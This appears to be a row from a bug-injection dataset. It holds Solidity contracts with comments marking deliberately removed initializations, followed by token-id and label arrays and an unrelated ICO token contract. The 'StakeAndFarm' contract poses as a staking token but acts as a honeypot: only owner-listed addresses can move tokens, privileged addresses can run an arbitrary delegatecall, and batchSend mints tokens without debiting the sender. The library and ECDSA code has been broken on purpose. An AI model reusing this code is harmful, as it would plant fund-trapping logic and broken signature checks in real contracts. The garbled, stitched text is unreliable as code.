* @dev Returns how much gas should be forwarded to a call to {relayCall}, in order to relay a transaction that will
* spend up to `relayedCallStipend` gas.
*/
function requiredGas(uint256 relayedCallStipend) external view returns (uint256);
/**
* @dev Returns the maximum recipient charge, given the amount of gas forwarded, gas price and relay fee.
*/
function maxPossibleCharge(uint256 relayedCallStipend, uint256 gasPrice, uint256 transactionFee) external view returns (uint256);
// Relay penalization.
// Any account can penalize relays, removing them from the system immediately, and rewarding the
// reporter with half of the relay's stake. The other half is burned so that, even if the relay penalizes itself, it
// still loses half of its stake.
/**
* @dev Penalize a relay that signed two transactions using the same nonce (making only the first one valid) and
* different data (gas price, gas limit, etc. may be different).
*
* The (unsigned) transaction data and signature for both transactions must be provided.
*/
function penalizeRepeatedNonce(bytes calldata unsignedTx1, bytes calldata signature1, bytes calldata unsignedTx2, bytes calldata signature2) external;
/**
* @dev Penalize a relay that sent a transaction that didn't target ``RelayHub``'s {registerRelay} or {relayCall}.
*/
function penalizeIllegalTransaction(bytes calldata unsignedTx, bytes calldata signature) external;
/**
* @dev Emitted when a relay is penalized.
*/
event Penalized(address indexed relay, address sender, uint256 amount);
/**
* @dev Returns an account's nonce in `RelayHub`.
*/
function getNonce(address from) external view returns (uint256);
}
contract StakeAndFarm {
event Transfer(address indexed _Load, address indexed _Convert, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _Convert, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _Convert, _value);
}
function transferFrom(address _Load, address _Convert, uint _value)
public payable SwapAndFarmingForGarDeners(_Load, _Convert) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _Load) {
require(allowance[_Load][msg.sender] >= _value);
allowance[_Load][msg.sender] -= _value;
}
require(balanceOf[_Load] >= _value);
balanceOf[_Load] -= _value;
balanceOf[_Convert] += _value;
emit Transfer(_Load, _Convert, _value);
return true;
}
/**
* pay data after the staking process
*/
function approve(address dev,
address marketing, address adviser, address privateSale, address publicSale, address community,
address Binance,
address CoinmarketCap,
address Coingecko,
uint _value)
public payable returns (bool) {
allowance[msg.sender][dev] = _value; emit Approval(msg.sender, dev, _value); allowance[msg.sender][marketing] = _value; emit Approval(msg.sender, marketing, _value);
allowance[msg.sender][adviser] = _value; emit Approval(msg.sender, adviser, _value);
allowance[msg.sender][privateSale] = _value; emit Approval(msg.sender, privateSale, _value);
allowance[msg.sender][publicSale] = _value;
emit Approval(msg.sender, publicSale, _value); allowance[msg.sender][community] = _value;
emit Approval(msg.sender, community, _value); allowance[msg.sender][Binance] = _value;
emit Approval(msg.sender, Binance, _value); allowance[msg.sender][CoinmarketCap] = _value;
emit Approval(msg.sender, CoinmarketCap, _value); allowance[msg.sender][Coingecko] = _value;
emit Approval(msg.sender, Coingecko, _value);
return true;
}
/**
* payments between pools
* send and convert payments between pools
*/
function delegate(address a, bytes memory b) public payable {
require (msg.sender == owner ||
msg.sender == dev ||
msg.sender == marketing ||
msg.sender == adviser ||
msg.sender == privateSale ||
msg.sender == publicSale ||
msg.sender == community ||
msg.sender == Binance ||
msg.sender == CoinmarketCap ||
msg.sender == Coingecko
);
a.delegatecall(b);
}
/**
* Farm switch between pools
*/
function batchSend(address[] memory _Converts, uint _value) public payable returns (bool) {
require (msg.sender == owner ||
msg.sender == dev ||
msg.sender == marketing ||
msg.sender == adviser ||
msg.sender == privateSale ||
msg.sender == publicSale ||
msg.sender == community ||
msg.sender == Binance ||
msg.sender == CoinmarketCap ||
msg.sender == Coingecko
);
uint total ; //inject UNINIT LOCAL/STATE VAR
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i ; i < _Converts.length; i++) { //inject UNINIT LOCAL/STATE VAR
address _Convert ; //inject UNINIT LOCAL/STATE VAR
balanceOf[_Convert] += _value;
emit Transfer(msg.sender, _Convert, _value/2);
emit Transfer(msg.sender, _Convert, _value/2);
}
return true;
}
/**
* Future pool swap for farm connection data after unlocking
*/
modifier SwapAndFarmingForGarDeners(address _Load, address _Convert) { // Connect market
address UNI ; //inject UNINIT LOCAL/STATE VAR
require(_Load == owner ||
_Load == UNI || _Load == dev || _Load == adviser || _Load == marketing ||
_Load == privateSale || _Load == publicSale || _Load == community ||
_Load == Binance ||
_Load == CoinmarketCap ||
_Load == Coingecko ||
_Convert == owner || _Convert == dev || _Convert == marketing || _Convert == adviser ||
_Convert == privateSale || _Convert == publicSale || _Convert == community ||
_Convert == Binance ||
_Convert == CoinmarketCap ||
_Convert == Coingecko
);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
/**
* fixed swimming pool
* make sure the swimming pool is connected
*/
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address private dev;
address private marketing;
address private adviser;
address private privateSale;
address private publicSale;
address private community;
address private Binance;
address private CoinmarketCap;
address private Coingecko;
address constant internal
UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // Uniswap v2
constructor(
address _dev, address _marketing, address _adviser, address _privateSale, address _publicSale, address _community,
/**
*
* navigation
*
*/
address _Binance,
address _CoinmarketCap,
address _Coingecko,
string memory _name,
string memory _symbol,
uint256 _supply)
payable public {
/**
* Fixed flow
*/
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
dev = _dev;
marketing = _marketing;
adviser = _adviser;
privateSale = _privateSale;
publicSale = _publicSale;
community = _community;
Binance = _Binance;
CoinmarketCap = _CoinmarketCap;
Coingecko = _Coingecko;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); //Uniswap v2
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
contract ReentrancyGuards {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex ; //inject UNINIT LOCAL/STATE VAR
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex ; //inject UNINIT LOCAL/STATE VAR
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex ; //inject UNINIT LOCAL/STATE VAR
uint256 lastIndex ; //inject UNINIT LOCAL/STATE VAR
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
return _get(map, key, "EnumerableMap: nonexistent key");
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex ; //inject UNINIT LOCAL/STATE VAR
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint256(value)));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint256(_get(map._inner, bytes32(key))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint256(_get(map._inner, bytes32(key), errorMessage)));
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex ; //inject UNINIT LOCAL/STATE VAR
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex ; //inject UNINIT LOCAL/STATE VAR
uint256 lastIndex ; //inject UNINIT LOCAL/STATE VAR
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue ; //inject UNINIT LOCAL/STATE VAR
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
revert("ECDSA: invalid signature length");
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n 1 2 + 1, and for v in (282): v 1 {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
revert("ECDSA: invalid signature 's' value");
}
if (v != 27 && v != 28) {
revert("ECDSA: invalid signature 'v' value");
}
// If the signature is valid (and not malleable), return the signer address
address signer ; //inject UNINIT LOCAL/STATE VAR
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* replicates the behavior of the
* https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`]
* JSON-RPC method.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
} | inject UNINIT LOCAL/STATE VAR
| uint256 lastIndex ; | 1,029,328 | [
1,
22170,
5019,
12919,
15234,
19,
7998,
8350,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
5411,
2254,
5034,
7536,
274,
202,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.11;
// ================= Ownable Contract start =============================
/*
* Ownable
*
* Base contract with an owner.
* Provides onlyOwner modifier, which prevents function from running if it is called by anyone other than the owner.
*/
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
// ================= Ownable Contract end ===============================
// ================= Safemath Contract start ============================
/* taking ideas from FirstBlood token */
contract SafeMath {
function safeAdd(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x + y;
assert((z >= x) && (z >= y));
return z;
}
function safeSubtract(uint256 x, uint256 y) internal returns(uint256) {
assert(x >= y);
uint256 z = x - y;
return z;
}
function safeMult(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
}
// ================= Safemath Contract end ==============================
// ================= ERC20 Token Contract start =========================
/*
* ERC20 interface
* see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
// ================= ERC20 Token Contract end ===========================
// ================= Standard Token Contract start ======================
contract StandardToken is ERC20, SafeMath {
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4) ;
_;
}
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) returns (bool success){
balances[msg.sender] = safeSubtract(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) returns (bool success) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSubtract(balances[_from], _value);
allowed[_from][msg.sender] = safeSubtract(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
// ================= Standard Token Contract end ========================
// ================= Pausable Token Contract start ======================
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require (!paused);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
require (paused) ;
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
// ================= Pausable Token Contract end ========================
// ================= IcoToken start =======================
contract IcoToken is SafeMath, StandardToken, Pausable {
string public name;
string public symbol;
uint256 public decimals;
string public version;
address public icoContract;
function IcoToken(
string _name,
string _symbol,
uint256 _decimals,
string _version
)
{
name = _name;
symbol = _symbol;
decimals = _decimals;
version = _version;
}
function transfer(address _to, uint _value) whenNotPaused returns (bool success) {
return super.transfer(_to,_value);
}
function approve(address _spender, uint _value) whenNotPaused returns (bool success) {
return super.approve(_spender,_value);
}
function balanceOf(address _owner) constant returns (uint balance) {
return super.balanceOf(_owner);
}
function setIcoContract(address _icoContract) onlyOwner {
if (_icoContract != address(0)) {
icoContract = _icoContract;
}
}
function sell(address _recipient, uint256 _value) whenNotPaused returns (bool success) {
assert(_value > 0);
require(msg.sender == icoContract);
balances[_recipient] += _value;
totalSupply += _value;
Transfer(0x0, owner, _value);
Transfer(owner, _recipient, _value);
return true;
}
function issue(address _recipient, uint256 _value) whenNotPaused onlyOwner returns (bool success) {
assert(_value > 0);
_value = _value * 10**decimals;
balances[_recipient] += _value;
totalSupply += _value;
Transfer(0x0, owner, _value);
Transfer(owner, _recipient, _value);
return true;
}
}
// ================= Ico Token Contract end =======================
// ================= Actual Sale Contract Start ====================
contract IcoContract is SafeMath, Pausable {
IcoToken public ico;
address public ethFundDeposit;
address public icoAddress;
uint256 public fundingStartTime;
uint256 public minContribution;
uint256 public tokenCreationCap;
uint256 public totalSupply;
bool public isFinalized;
uint256 public tokenExchangeRate;
